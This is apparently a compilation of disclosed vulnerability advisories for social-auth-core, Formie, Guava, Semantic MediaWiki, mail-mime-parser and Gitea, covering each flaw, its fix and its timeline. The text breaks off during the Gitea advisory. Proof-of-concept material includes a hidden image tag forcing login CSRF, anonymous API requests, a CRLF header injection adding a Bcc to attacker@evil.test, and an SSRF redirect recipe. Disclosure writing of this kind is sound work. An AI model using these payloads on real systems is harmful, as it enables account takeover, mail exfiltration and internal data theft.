social-auth-core (the backend engine behind python-social-auth, used by the Django/Flask/… integrations) shipped a login-CSRF in its Last.fm backend: LastFmAuth drives the whole authentication flow without ever binding it to the browser session that started it.

• auth_url() returns the Last.fm authorization URL and stores nothing in the session — no state, no server-generated token.
• auth_complete() reads the token parameter straight from the callback, exchanges it for a Last.fm session, and logs the current request’s session in as whoever approved that token.

So an attacker can approve the application in their own browser, capture the callback URL, and get a victim’s browser to open it. The victim ends up in a fully authenticated session that belongs to the attacker’s Last.fm identity. Fixed in 5.2.0.

Background

python-social-auth runs third-party logins through per-provider backends. For OAuth2 providers the framework already defends against login CSRF by default: BaseOAuth2 turns the state parameter on (STATE_PARAMETER = True), stores a random value in the session when the flow starts, and validate_state() rejects any callback whose state is missing, unknown, or mismatched. That single check is what ties “the browser that began the flow” to “the browser that came back on the callback.”

Last.fm does not use OAuth2 — it has its own web-auth handshake with a token parameter and an MD5-signed auth.getSession exchange — so it never inherited that protection and needs its own equivalent. It didn’t have one.

This is the same class the project fixed repeatedly during an earlier login-CSRF campaign — LoginRadius (GHSA-x7qq-23vw-7pfg), Twilio, and the LINE backend (GHSA-526j-582w-7fm9, itself published as an incomplete fix of the 5.0.0 round). The Last.fm flow was simply never part of that campaign.

The vulnerability

social_core/backends/lastfm.py, identical in 5.1.1 and on master at the time of reporting:

def auth_url(self):
    return self.AUTH_URL.format(api_key=self.setting("KEY"))

@handle_http_errors
def auth_complete(self, *args, **kwargs):
    """Completes login process, must return user instance"""
    key, secret = self.get_key_and_secret()
    token = self.data["token"]

    signature = hashlib.md5(
        f"api_key{key}methodauth.getSessiontoken{token}{secret}".encode()
    ).hexdigest()

    response = self.get_json(
        "https://ws.audioscrobbler.com/2.0/",
        data={
            "method": "auth.getSession",
            "api_key": key,
            "token": token,
            "api_sig": signature,
            "format": "json",
        },
        method="POST",
    )

    kwargs.update({"response": response["session"], "backend": self})
    return self.strategy.authenticate(*args, **kwargs)

auth_url() writes nothing to self.strategy.session_*, and auth_complete() consumes self.data["token"] with no comparison against any pre-flow session value — there is not even a stored value that could be compared. Because the callback is a plain, idempotent GET that carries only a token, no callback of this backend can be distinguished as “the one this browser started.” That is the definition of login CSRF.

Proof of concept

The attack is a single URL

The callback is a plain, idempotent GET whose only meaningful parameter is token, so there is nothing to forge beyond a link:

1. The attacker approves the target application on their own Last.fm account and captures where Last.fm redirects them back to:

   https://app.example/complete/lastfm/?token=ATK-a60a928997
   

2. The attacker gets the victim’s browser to issue that same GET. Because it’s an idempotent GET, it fires from an ordinary auto-loading tag on any page the victim opens — no click required:

   <!-- the victim only has to load a page containing this -->
   <img src="https://app.example/complete/lastfm/?token=ATK-a60a928997"
        style="display:none">
   

The victim’s session is now authenticated as the attacker. No token of the victim’s own was ever involved.

Library-level proof

Dropped into the backend’s own test harness (BaseBackendTest, the same base the project’s test_lastfm.py uses). The “victim” session never starts a flow; the callback carries only the attacker’s approved token:

class LastFmLoginCSRFTest(BaseBackendTest):
    backend_path = "social_core.backends.lastfm.LastFmAuth"

    def test_start_binds_nothing_to_the_session(self):
        start_url = self.backend.start().url
        self.assertEqual(start_url, "https://www.last.fm/api/auth/?api_key=a-key")
        # neither a state nor a server-generated token is stored for later verification
        self.assertIsNone(self.strategy.session_get("lastfm_state"))
        self.assertIsNone(self.strategy.session_get("lastfm_token"))

    def test_attacker_token_logs_victim_session_in_as_attacker(self):
        self.mock_get_session()                          # ws.audioscrobbler.com -> {"name": "attacker-lastfm"}
        self.strategy.set_request_data({"token": "attacker-approved-token"}, self.backend)
        user = self.backend.complete()
        self.assertEqual(user.username, "attacker-lastfm")               # session is now the attacker
        self.assertEqual(self.strategy.session_get("username"), "attacker-lastfm")

    def test_victim_started_own_flow_does_not_change_the_outcome(self):
        self.backend.start()                             # even a genuine victim-initiated flow...
        self.mock_get_session()
        self.strategy.set_request_data({"token": "attacker-approved-token"}, self.backend)
        self.assertEqual(self.backend.complete().username, "attacker-lastfm")   # ...still loses

All four assertions pass against 5.1.1 / master:

test_a_second_arbitrary_token_is_equally_accepted        PASSED
test_attacker_token_logs_victim_session_in_as_attacker   PASSED
test_start_binds_nothing_to_the_session                  PASSED
test_victim_started_own_flow_does_not_change_the_outcome PASSED
4 passed

End-to-end (real Django session, real HTTP)

A minimal Django app on the stock LastFmAuth backend, run against a mock Last.fm speaking HTTPS. The attacker approves on their own account (ARM 1), the victim’s browser opens the captured URL (ARM 2), and the victim’s server-side session becomes the attacker’s (ARM 3–4). The controls confirm a normal own-flow login still maps to its own identity, and a tokenless callback is refused:

ARM 0   victim (fresh browser)          -> ANONYMOUS
ARM 1   attacker approves on OWN acct   -> 302  Location: /complete/lastfm/?token=ATK-a60a928997
ARM 2   VICTIM opens that URL           -> 302  Location: /
ARM 3   victim session right after      -> AUTHENTICATED  username=attacker  id=1
ARM 4   server-side (Django auth_user)  -> _auth_user_id=1 -> username=attacker

CONTROL A   visitor completes OWN flow  -> AUTHENTICATED  username=victim  id=2
CONTROL B   callback with no token      -> 500  (nothing to exchange)

mock Last.fm side of the exchange:
  approval issued   token=ATK-a60a928997
  auth.getSession   token=ATK-a60a928997 -> user=attacker   <-- exchanged inside the VICTIM's session

Impact

• Forced authentication. Any visitor who can be lured into opening the crafted callback URL — a link, a meta-refresh, an <img>/iframe — lands in a session authenticated as the attacker’s Last.fm account, without ever touching Last.fm themselves.
• Attribution to the attacker. Anything the victim then does in that session (uploads, profile edits, saved settings, payment details) accrues to — and is readable from — the attacker’s account. In per-user apps the victim is also shown the attacker’s data.
• Account-linking escalation. When an app links social identities onto an already-authenticated local account, the same flow binds the attacker’s Last.fm identity to the victim’s account, creating a persistent unauthorized login path — exactly the consequence the LINE advisory describes for this class.

The only precondition is that the Last.fm backend is enabled for login; no special configuration and no account on the target app are required for the victim. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N — Medium (5.4), CWE-352.

The fix

5.2.0 gives the Last.fm flow its own session binding, mirroring the OAuth2 state mechanism (and the one-line LINE fix). auth_url() now generates a state value and stores it in the session; auth_complete() calls validate_state() before doing anything with the token:

def validate_state(self):
    # rejects a callback whose state is missing / unknown / mismatched
    ...

def auth_complete(self, *args, **kwargs):
    self.validate_state()
    ...

A callback whose state the session never issued is now refused, so a token approved in another browser can no longer complete a login in the victim’s session. Upgrade social-auth-core to 5.2.0 or later.

Timeline

• 2026-09-26 — Reported to the maintainers via private advisory.
• 2026-09-30 — Fixed in social-auth-core 5.2.0; advisory GHSA-99rw-f693-vv9r published.

Disclosure

Public advisory: GHSA-99rw-f693-vv9r (no CVE assigned). Fixed in social-auth-core 5.2.0.

Formie is the form-builder plugin for Craft CMS. Its submit action accepts a submissionId parameter that lets a visitor resume an incomplete submission. An earlier advisory, GHSA-584p-f93j-wpgc (“Unauthenticated users can overwrite incomplete submissions via submit action”), reported that anyone could supply another visitor’s submissionId and overwrite their in-progress submission. It was fixed in 3.1.31 / 2.2.23.

That fix is context-based, and it only rejects guests. Through the latest release at the time of writing, 3.1.43, an authenticated member who holds no Control-Panel permission at all could still reach the same code path by sending the request to the plugin’s Control-Panel-classified route (/admin/actions/formie/submissions/submit). On that route the guest rejection does not apply and the site-request-only ownership gate never runs, so the member overwrites — and, because the form has collectUser enabled, re-owns — another user’s submission. This is GHSA-p696-447f-9258 (Medium, CVSS 6.5, CWE-639 / CWE-863).

Background

Formie stores each in-progress multi-page submission with a submissionId, and the submit action lets a client resume one by sending that id back. Craft routes an action request in one of two “contexts”: a site request (the normal front-end form post) or a Control-Panel request, selected by the URL prefix — anything under the configured CP trigger (admin by default) is a CP request, everything else is a site request. The distinction matters because a lot of Craft/Formie authorization logic branches on Craft::$app->getRequest()->getIsSiteRequest().

The 3.1.31 fix for the anonymous-overwrite bug lives in src/controllers/SubmissionsController.php. It leans entirely on that context distinction, which is where the gap is.

The vulnerability

Three facts about SubmissionsController.php on 3.1.43 combine into the bypass:

1. The CP-context guard rejects only anonymous callers. On a CP-classified request, a guest is turned away with ForbiddenHttpException('Anonymous submissions are only permitted through the site request.'). An authenticated member — even one with no CP access and no admin flag — passes this check.

2. _populateSubmission() trusts the caller’s submissionId. It loads the submission named by the request without checking that the current user owns it, and, when the form has collectUser enabled, calls $submission->setUser($user) with the current user. The caller therefore becomes the owner of whatever submission they named.

3. The ownership/session gate is scoped to site requests. The validation that would normally force an owner/session match runs on the site-request path only. For a CP-classified request it is skipped, so the protection added in 3.1.31 simply isn’t in effect on that route.

Put together: a logged-in member sends the resume request to the CP route instead of the site route, clears the only check that applies there (not being a guest), and lands in _populateSubmission() with an attacker-chosen submissionId and no ownership check.

The CP context is also reachable through a percent-encoded prefix — /%61dmin/actions/formie/submissions/submit (%61 = a) triggers the same CP classification, so a naive string match on admin in front of the route does not help.

Proof of concept

Verified live against product code, unmodified: Craft CMS 5.11.3 (Pro), verbb/formie 3.1.43, PHP 8.2.26, MariaDB 11. Both actors, victim and attacker, are ordinary active members confirmed in-process to have can('accessCp') === false and admin === false. Every request carries a valid CSRF token from its own session.

The observable write from request C, read straight back out of the database:

before:  userId=null   isIncomplete=true    values={"yourName":"VICTIM-NAME", ...}
after:   userId=4       isIncomplete=true    values={"yourName":"ATTACKER-CP", ...}

userId is the submission’s owner. The CP-context POST rewrote the victim’s answers and re-owned the record to the attacker’s user id (id 4). Request D additionally flips isIncomplete to false — completing the submission — after which the victim can no longer resume it at all: a follow-up owner POST answers 400 No submission exists with the ID <n>, because a completed submission is no longer resumable.

Impact

Any authenticated user of the site — a self-registered member with the lowest possible privilege, no Control-Panel access, no admin flag — can overwrite the in-progress submission of any other user whose submissionId they can obtain or guess, corrupting its contents, completing it so the rightful owner is locked out, and (when collectUser is on) taking ownership of the record. It is an authorization/IDOR failure: CWE-639 (authorization bypass through a user-controlled key) and CWE-863 (incorrect authorization), scored CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5.

The root shape is worth calling out for anyone reviewing similar fixes: the 3.1.31 patch treated “is this a site request?” as a proxy for “is this an ordinary front-end visitor?” A Control-Panel request from a logged-in member with zero CP rights breaks that assumption — the context check and the privilege check are not the same thing, and gating on the former leaves the latter unenforced.

Timeline

• 2026-09-24 — Reported to the maintainers via GitHub private vulnerability report
• 2026-09-30 — Advisory GHSA-p696-447f-9258 published (Medium, 6.5); affects verbb/formie <= 3.1.43

Disclosure

Based entirely on the public advisory: GHSA-p696-447f-9258.

CompactHashMap, CompactHashSet, and MapMakerInternalMap in Google’s Guava library implement readObject(ObjectInputStream) by reading an attacker-controlled size field — elementCount for the CompactHash* collections, initialCapacity/concurrencyLevel for MapMakerInternalMap — straight off the wire. On the very first insertion, each implementation eagerly allocates backing arrays sized to that full, unvalidated declared value, without ever checking it against how much data the stream actually contains. A 72-byte serialized stream carrying a single tiny element can force several gigabytes of allocation and crash the JVM with OutOfMemoryError. This is CVE-2026-102554 / GHSA-xxph-c9ww-hj94, fixed in Guava 33.7.2.

Background

This is the same amplification shape as the long-fixed CVE-2018-10237, which affected AtomicDoubleArray and CompoundOrdering: an attacker declares a large size up front, and the library allocates for that size before validating it against the stream’s real content. Guava’s own HashBiMap.readObject() already documents the correct defense in a comment on the line that avoids this exact trap: init(16); // resist hostile attempts to allocate gratuitous heap. ArrayListMultimap, HashMultiset, LinkedHashMultiset, LinkedHashMultimap, ImmutableSetMultimap, and ImmutableListMultimap all follow the same defensive pattern elsewhere in the codebase. CompactHashMap, CompactHashSet, and MapMakerInternalMap did not.

All three classes are top-level, implements Serializable, and Guava is present on the classpath of a large fraction of the JVM ecosystem — a native Java deserialization attacker can name any of them directly in a hand-crafted stream, with no dependency on which factory method the victim application actually used.

The vulnerability

CompactHashMap.readObject() reads the declared count and only checks that it is non-negative:

private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
  stream.defaultReadObject();
  int elementCount = stream.readInt();
  if (elementCount < 0) {
    throw new InvalidObjectException("Invalid size: " + elementCount);
  }
  init(elementCount);
  for (int i = 0; i < elementCount; i++) {
    K key = (K) stream.readObject();
    V value = (V) stream.readObject();
    put(key, value);
  }
}

init() just stores the value, clamped only to an upper bound of CompactHashing.MAX_SIZE (2^30-1, roughly 1.07 billion):

void init(int expectedSize) {
  Preconditions.checkArgument(expectedSize >= 0, "Expected size must be >= 0");
  this.metadata = Ints.constrainToRange(expectedSize, 1, CompactHashing.MAX_SIZE);
}

The real allocation happens lazily, inside allocArrays(), which fires on the first put() call — after only one key/value pair has actually been read off the wire:

int allocArrays() {
  int expectedSize = metadata;
  int buckets = CompactHashing.tableSize(expectedSize);
  this.table = CompactHashing.createTable(buckets);
  setHashTableMask(buckets - 1);
  this.entries = new int[expectedSize];
  this.keys = new Object[expectedSize];
  this.values = new Object[expectedSize];
  return expectedSize;
}

With expectedSize near MAX_SIZE, that single call allocates a hash table plus three expectedSize-length arrays — multiple gigabytes — after the stream has supplied exactly one small real element. CompactHashSet has the identical shape, and CompactLinkedHashMap/CompactLinkedHashSet inherit it from their parents.

MapMakerInternalMap has a related but separately-triggered version of the same bug. Its serialization proxy reads an unvalidated size and concurrencyLevel from the stream and passes them into a MapMaker, which allocates its full segment table — sized from those two attacker-controlled numbers — before any real entry is read back.

Proof of concept

Against the current release at the time (guava:33.7.1-jre), a 72-byte malicious stream containing one real "A" string element, with only its 4-byte declared-count field patched from 1 to 0x3FFFFFFF (CompactHashing.MAX_SIZE), produces:

### -Xmx8g (generous heap) ###
Declared elementCount: 1073741823 (~1.07 billion)
Real payload: 1 tiny string element ("A")
=== RESULT ===
Exception: java.lang.OutOfMemoryError: Java heap space
Time to allocate+fail: 4013 ms
Heap used after (at failure point): 4103 MB

### -Xmx128m (ordinary service heap) ###
=== RESULT ===
Exception: java.lang.OutOfMemoryError: Java heap space
Time to allocate+fail: 24 ms

A 72-byte input forces roughly 4.1 GB of real allocation before failing on an 8 GB heap, and crashes an ordinary 128 MB service heap in 24 milliseconds — over 50,000x amplification between input size and forced allocation. The MapMakerInternalMap variant behaves the same way: a 627-byte patched stream with a declared size of Integer.MAX_VALUE throws OutOfMemoryError in 30 milliseconds against a 128 MB heap, provided the map was constructed with an option (such as weak keys) that routes through Guava’s own internal map implementation rather than the JDK’s ConcurrentHashMap fast path.

Impact

Any application that runs ObjectInputStream.readObject() on attacker-reachable data, with Guava anywhere on its classpath, can be crashed with a single payload of under a hundred bytes — regardless of what type the application itself expected to deserialize. This is a pure availability impact (CWE-770 / CWE-400): the vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H, 5.9 (Medium).

Fix

Guava 33.7.2 applies the same defense already present elsewhere in the codebase: the initial capacity used for the first allocation is capped to a small constant regardless of the stream’s declared count, and the backing storage grows incrementally as elements are actually read, rather than being sized up front to the full attacker-declared value.

Timeline

• 2026-09-22 — Reported to google/guava via GitHub private vulnerability reporting, covering CompactHashMap/CompactHashSet and, the same day, the related MapMakerInternalMap variant.
• 2026-09-29 — Fixed in Guava 33.7.2; advisory GHSA-xxph-c9ww-hj94 published and CVE-2026-102554 assigned.

Disclosure

The advisory is public at GHSA-xxph-c9ww-hj94 / CVE-2026-102554. Guava already had the right pattern for this class of bug documented in its own source — HashBiMap’s “resist hostile attempts to allocate gratuitous heap” comment predates this report by years. The gap was that three other Serializable collection types, added at different times by different authors, never inherited that same discipline.

Semantic MediaWiki’s api.php?action=smwtask endpoint backs the maintenance operations behind Special:SMWAdmin. A first advisory, GHSA-jr78-w6w5-m8f8 (High, 7.3), reported that the module performed no authorization check at all, so any unauthenticated visitor could reach those operations. Release 7.3.0 fixed it by making every task declare the MediaWiki right it requires, checked before the task runs, with a fail-closed smw-admin default.

The fix closed the four administrator tasks, but it assigned the edit right to three of the operations the advisory itself described as administrator-only: update, check-query, and run-joblist. On a stock MediaWiki, edit is a right that anonymous users hold. Nothing else in the module excludes an anonymous caller. So the reported class was only half-closed: a completely unauthenticated caller could still run arbitrary queued jobs and force semantic-store updates on pages protected to sysop. This is GHSA-rjqv-6r83-pg8v, fixed in 7.3.1.

Background

The 7.3.0 fix (commit 7c65baf61) added an authorization gate to src/MediaWiki/Api/Task.php: each task now declares the right it needs via Task::getRequiredPermission(), defaulting to smw-admin, and the module calls checkUserRightsAny() with that right before running. The base class defaults fail-closed to smw-admin, and exactly four tasks override it:

The in-code justification for the edit tasks is that they are “triggered by post-edit processing for the user who just saved the page.” That describes the legitimate caller — the post-edit JavaScript calls run-joblist with the job map the server rendered for the page just saved — but the API does not restrict itself to that caller or that map. It accepts whatever a client sends.

Why edit is not a gate for anonymous callers

On a default MediaWiki install, an anonymous request already carries everything the edit-level tasks check. Verified live against a stock MediaWiki 1.43.9 with no extra configuration:

GET /api.php?action=query&meta=userinfo&uiprop=rights      (no cookies)
-> rights: ["createaccount","read","edit","createpage","createtalk", ...]

GET /api.php?action=query&meta=tokens&type=csrf            (no cookies)
-> csrftoken: "+\"                       # the fixed, public anonymous token

POST /api.php action=edit&title=Main_Page&token=+\         (no cookies)
-> {"edit":{"result":"Success", ...}}     # anonymous editing is on by default

The one right that sounds like it should gate write APIs — writeapi — is not the anonymous list, but it is also irrelevant: MediaWiki deprecated writeapi in 1.32 and core no longer enforces it anywhere. mustBePosted(), needsToken('csrf'), and isWriteMode() do not gate on group membership either. So the three edit-level tasks are reachable by a caller with no account and no cookies, using the fixed public token +\.

The vulnerability

run-joblist pops and runs jobs from a map the caller supplies, and never validates that map against anything:

// src/MediaWiki/Api/Tasks/JobListTask.php
$subject = WikiPage::doUnserialize( $parameters['subject'] );
$title = $subject->getTitle();
if ( $title === null ) { return [ 'done' => false ]; }   // subject is only a null-guard
$jobList = [];
if ( isset( $parameters['jobs'] ) ) { $jobList = $parameters['jobs']; }   // fully caller-controlled
$log = $this->jobQueue->runFromQueue( $jobList );
return [ 'done' => true, 'log' => $log ];

runFromQueue() then pops and runs whatever job types the caller named, in whatever count the caller asked for:

foreach ( $list as $type => $amount ) {
    while ( $amount > 0 ) {
        $j = $this->jobQueueGroup->get( $type )->pop();   // any registered job class
        $j->run();
        $log[$type][] = $j->getTitle()->getPrefixedDBKey();
        $amount--;
    }
}

The subject parameter is used only as a null-guard; it is never cross-checked against the jobs the caller wants popped. $amount is unbounded, and the type string is not validated against a set. The response returns the page titles of the jobs it ran, which is a read primitive over the job queue.

update has the same shape. UpdateTask::process() deserialises the caller’s subject, builds a store-update job for that title, and runs it — checking the global edit right, never the target page. So it re-runs the store update path for any title the caller names, including a sysop-protected page the caller cannot edit or even read.

Proof of concept

The lab is MediaWiki 1.43.9 plus Semantic MediaWiki 7.3.0 (the patched release), SQLite, no job-runner cron so queued jobs stay pending until something runs them. Every request below was sent with no cookies and the public anonymous token +\.

The four administrator tasks are correctly denied — the fix does work for them:

POST /api.php action=smwtask&task=insert-job&params={...}&token=+\      (no cookies)
-> {"error":{"code":"permissiondenied","info":"You don't have permission to access
    Semantic MediaWiki administration tasks."}}

But the same anonymous caller runs a job that only an administrator could enqueue:

# 1. administrator enqueues one job through the admin-only insert-job task
POST /api.php action=smwtask&task=insert-job
     &params={"subject":"Main Page#0##","job":"smw.parserCachePurgeJob"}    (Admin session)
-> {"task":{"done":""}}
#    pending smw.parserCachePurgeJob rows in the job queue: 0 -> 1

# 2. anonymous caller, no cookies, public token, runs it
POST /api.php action=smwtask&task=run-joblist
     &params={"subject":"Main Page#0##","jobs":{"smw.parserCachePurgeJob":1}}&token=+\
-> {"task":{"done":"","log":{"smw.parserCachePurgeJob":["Main_Page"]}}}
#    pending smw.parserCachePurgeJob rows in the job queue: 1 -> 0

Arbitrary and even non-existent job types are accepted, in an unbounded count:

POST .../task=run-joblist&params={"subject":"Main Page#0##",
     "jobs":{"mediawiki.refreshLinks":100000}}&token=+\
-> {"task":{"done":"","log":{"mediawiki.refreshLinks":[]}}}         # no type validation

And update bypasses page-level protection:

# PoCProtected is protected: edit=sysop
POST /api.php action=edit&title=PoCProtected&text=x&token=+\        (no cookies)
-> {"error":{"code":"protectedpage", ...}}

POST /api.php action=smwtask&task=update&params={"subject":"PoCProtected#0##"}&token=+\
-> {"task":{"done":"","log":[]}}                                    # accepted and executed

Impact

An unauthenticated attacker can drive the wiki to execute queued jobs on demand — including maintenance job types the administrator UI only enqueues behind smw-admin — synchronously inside the request and in arbitrary counts, which exhausts the application and database workers on a populated wiki. They can force full store updates for arbitrary titles, including pages they cannot edit or read, and they can read back the page titles attached to the jobs they ran. What makes this an incomplete fix rather than a regression is that the administrator half of the same capability is correctly denied: an anonymous caller cannot enqueue a maintenance job, but can still run any queued one.

The confidentiality and integrity impact stay low — titles, and store writes that only re-derive data from existing page content — so the vector mirrors the vendor’s own rating for this endpoint: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L = 7.3 High.

Fix

7.3.1 stops gating these tasks on a wiki-wide right and authorizes the caller against the specific page instead. Both update and run-joblist now implement getAuthorizationSubject(), returning the caller’s subject so the module checks page-level permission for that exact title rather than a global right an anonymous caller happens to hold:

// UpdateTask / JobListTask, 7.3.1
public function getAuthorizationSubject( array $parameters ): ?string {
    return $parameters['subject'] ?? '';
}

run-joblist additionally constrains which jobs may run. A new requestedWorkIsPermitted() check rejects any job type outside the set the post-edit process itself emits, so a caller can no longer pop arbitrary queued jobs of its own choosing:

// JobListTask, 7.3.1
public function requestedWorkIsPermitted( array $parameters ): bool {
    $requested = $parameters['jobs'] ?? [];
    if ( !is_array( $requested ) ) { return true; }
    return array_diff_key( $requested, $this->allowedJobs ) === [];
}

That is a page-level authorization check plus an allowlist on the caller-supplied job map — closing both the protected-page bypass and the arbitrary-job-execution primitive. The legitimate post-edit flow, where the caller just saved the page it names, keeps working.

Timeline

• 2026-09-22 — Reported through GitHub private vulnerability reporting on SemanticMediaWiki/SemanticMediaWiki, as an incomplete-fix follow-up to GHSA-jr78-w6w5-m8f8, with an end-to-end PoC against the patched 7.3.0 release.
• 2026-09-28 — Fixed in 7.3.1 and advisory GHSA-rjqv-6r83-pg8v published (High, 7.3, CWE-862), crediting the report.

Disclosure

The advisory is public at GHSA-rjqv-6r83-pg8v. It is worth stressing what the original fix got right: making each task declare its required right, fail-closed to smw-admin, was the correct structure — the gap was purely in the right chosen for three tasks. edit reads like a sensible “must be a logged-in editor” gate, but on a default MediaWiki it is not a gate at all. When a fix maps a privileged operation onto a coarse platform right, the right’s real membership on a stock install — not its name — is what decides whether the fix holds.

CVE-2026-61815 was a CRLF header-injection bug in zbateson/mail-mime-parser, a widely used PHP MIME parser and builder: an attacker-influenced attachment filename was interpolated straight into the Content-Type / Content-Disposition headers of the part being built, so a filename containing \r\n could forge additional header lines.

The fix for it (released in 3.0.6/3.0.7 and 4.0.2) sanitized the filename — and only the filename. The very same header-building lines interpolate several other caller-supplied string arguments verbatim. Those arguments — $mimeType, $encoding, $charset, $micalg, $protocol — are all reachable through the ordinary public message-building API, and a \r\n in any of them still injects arbitrary header lines. The original impact (forged Bcc:, header smuggling, MIME-structure confusion) survived the patch through sibling arguments on the same code.

Background

The library builds outgoing MIME messages through public methods on IMessage. Several of them take string arguments that get written directly into part headers:

• addAttachmentPart() / addAttachmentPartFromFile() — $mimeType, $encoding
• setTextPart() / setHtmlPart() — $charset
• setAsMultipartSigned() — $micalg, $protocol

Header assembly happens in MultipartHelper, which composes the header value as a PHP interpolated string and hands it to setRawHeader() — a “raw” setter that stores the line as given, without re-encoding it.

The vulnerability

CVE-2026-61815’s fix added a control-character filter, but scoped it to the filename. The sanitized value is $safe; everything else on the same lines is written raw:

// filename is run through a control-character filter -> $safe
$converted = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
$safe = \preg_replace('/[\x00-\x1F\x7F]+/', ' ', ($converted !== false) ? $converted : '') ?? '';

// ...but $mimeType / $charset / $encoding are interpolated verbatim:
$part->setRawHeader(HeaderConsts::CONTENT_TYPE, "$mimeType;\r\n\tname=\"$safe\"");
$mimePart->setRawHeader(HeaderConsts::CONTENT_TYPE, "$mimeType;\r\n\tcharset=\"$charset\"");
$part->setRawHeader(HeaderConsts::CONTENT_TRANSFER_ENCODING, $encoding);
$part->setRawHeader(HeaderConsts::CONTENT_TYPE, "$contentType;\r\n\tcharset=\"$charset\"");

The signing path has the same shape, with two more raw arguments:

$message->setRawHeader(HeaderConsts::CONTENT_TYPE,
    "multipart/signed;\r\n\tboundary=\"$boundary\";\r\n\tmicalg=\"$micalg\"; protocol=\"$protocol\"");

Only $safe passes through the filter. A \r\n inside $mimeType, $charset, $encoding, $micalg or $protocol becomes a real header break in the serialized output. This is the classic “sanitize the reported instance, not the sink” gap — the fix cleaned the one value named in the report rather than the header-write chokepoint, so the same bug remained one argument over.

Proof of concept

Against the then-current 4.0.5 (newer than the patched 4.0.2), using only the public API:

require 'vendor/autoload.php';
use ZBateson\MailMimeParser\Message;

// [1] inject through $mimeType
$m = Message::newInstance();
$m->addAttachmentPart(
    'payload',
    "application/octet-stream\r\nBcc: attacker@evil.test",  // $mimeType
    'safe.txt'
);

// [2] inject through $charset
$m->setTextPart('hello', "utf-8\"\r\nBcc: attacker@evil.test");

The attachment part from case [1] serializes with the forged line spliced in between the legitimate headers:

Content-Transfer-Encoding: base64
Content-Type: application/octet-stream
Bcc: attacker@evil.test;
	name="safe.txt"
Content-Disposition: attachment;
	filename="safe.txt"

A clean value serializes with no injected line, and the filename argument — the one the earlier fix addressed — is correctly sanitized, confirming this is a genuine remaining gap in the same fix rather than a regression.

Impact

Identical to the parent advisory, which scoped it as any application using the library to build or forward MIME messages with an attacker-influenced value. These arguments are routinely attacker-influenced in practice: an attachment’s MIME type is very often taken from an uploaded file’s browser-supplied Content-Type, and $charset / $encoding can be driven by user input just as easily. A crafted value injects arbitrary MIME headers — a forged Bcc: that silently exfiltrates the outgoing message, header smuggling, or MIME-structure confusion — with no privileges and no user interaction. CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N = 7.2 (High).

The fix

Versions 3.0.9 and 4.0.6 replace control characters with spaces in all of the affected arguments before the header is built, matching the treatment already applied to the filename — moving the neutralization to cover every caller-supplied value that reaches those raw header lines.

Timeline

• 2026-09-28 — Reported to the maintainer (private advisory)
• 2026-09-28 — Fixed in 3.0.9 and 4.0.6
• 2026-09-28 — Advisory GHSA-gmgm-r6fh-fq6g published

Disclosure

Public advisory: GHSA-gmgm-r6fh-fq6g. Parent issue: CVE-2026-61815 / GHSA-36h5-qg4p-q2qf.

CVE-2026-57894 (GHSA-82f7-87hm-852x) is a server-side request forgery in Gitea’s repository migration and pull-mirror feature. Gitea validates the initial URL of a migration against its allow/block-list policy, but the actual data transfer is delegated to the git CLI — which follows the first HTTP redirect by default. A URL that passes the policy can 301/302 to a host the policy explicitly blocks, and Gitea imports whatever that second host serves.

The advisory was marked patched in 1.27.0. It wasn’t. The function that is supposed to disable redirect-following was present, wired into every relevant call site, and completely empty — its body was a block of commented-out code ending in a FIXME. The bug remained reachable, byte-for-byte, through the then-latest tagged release v1.27.3 and main, until a proper fix landed in late September 2026.

Background

Gitea lets a user migrate an external repository by URL, and lets it keep a repository in sync as a scheduled pull mirror. Because the server itself fetches the URL, both features are classic SSRF surfaces, so Gitea gates them behind a policy: services/migrations/migrate.go’s IsMigrateURLAllowed resolves the submitted host and rejects anything on BLOCKED_DOMAINS, or anything in a private/loopback range when ALLOW_LOCALNETWORKS = false.

The catch is that IsMigrateURLAllowed only ever sees the host the user submitted. The bytes are actually pulled by git, invoked as a subprocess, and git follows HTTP redirects on its own. So the interesting question is whether Gitea disables that redirect-following. It has a function for exactly that purpose.

The vulnerability

The redirect guard lives in modules/git/redirection.go:

// modules/git/redirection.go
func HandleGitCmdHTTPRedirection(cmd *gitcmd.Command, targets ...string) {
	// Protect from SSRF vector (e.g. migrating from an attacker URL).
	// cmd.AddConfig("http.followRedirects", "false")
	// However, we can't do so at the moment:
	// this fails due to 301: git -c http.followRedirects=false clone -v https://gitlab.com/{owner}/{repo}
	// this succeeds:         git -c http.followRedirects=false clone -v https://gitlab.com/{owner}/{repo}.git
	// FIXME: GIT-CLONE-HTTP-REDIRECT-SSRF: need a complete solution in the future
}

The whole body is commented out. It is called from exactly the places you’d expect — modules/git/repo.go for the clone, and three times in services/mirror/mirror_pull.go for scheduled pull-mirror fetches — so the hook point is correct. There is simply no protection behind it. The intended git -c http.followRedirects=false was disabled because it broke the very common https://host/owner/repo → https://host/owner/repo.git redirect, and nothing was put in its place.

That leaves the two halves of the check disconnected:

• IsMigrateURLAllowed validates the submitted host, up front.
• git performs the transfer and follows the first redirect to wherever it points — a host that was never re-validated against the policy.

Checking the released code confirmed this was the shipping state, not an unreleased regression: git show v1.27.3:modules/git/redirection.go returned the same empty function, byte for byte.

Impact

Any authenticated user who can create a migration or a pull mirror — the default for an ordinary account on an instance with open registration — can point Gitea at an attacker-controlled endpoint that 301-redirects to an internal or explicitly blocked Git-over-HTTP host, and have the server fetch and import that repository’s contents.

The exploitation shape is straightforward:

1. An administrator blocks an internal host (via BLOCKED_DOMAINS, or simply by leaving ALLOW_LOCALNETWORKS = false). A direct migration from that host is correctly rejected — 422 You can not import from disallowed hosts.
2. The attacker stands up an ordinary public endpoint that answers every request with a 301 redirect to the blocked host’s .git endpoint.
3. The attacker migrates from that public redirector. It passes the policy check, git follows the redirect, and the migration succeeds — 201 Created.
4. The blocked repository’s contents now sit, byte-for-byte (identical blob SHAs), inside the attacker’s own repository, readable through the normal API.

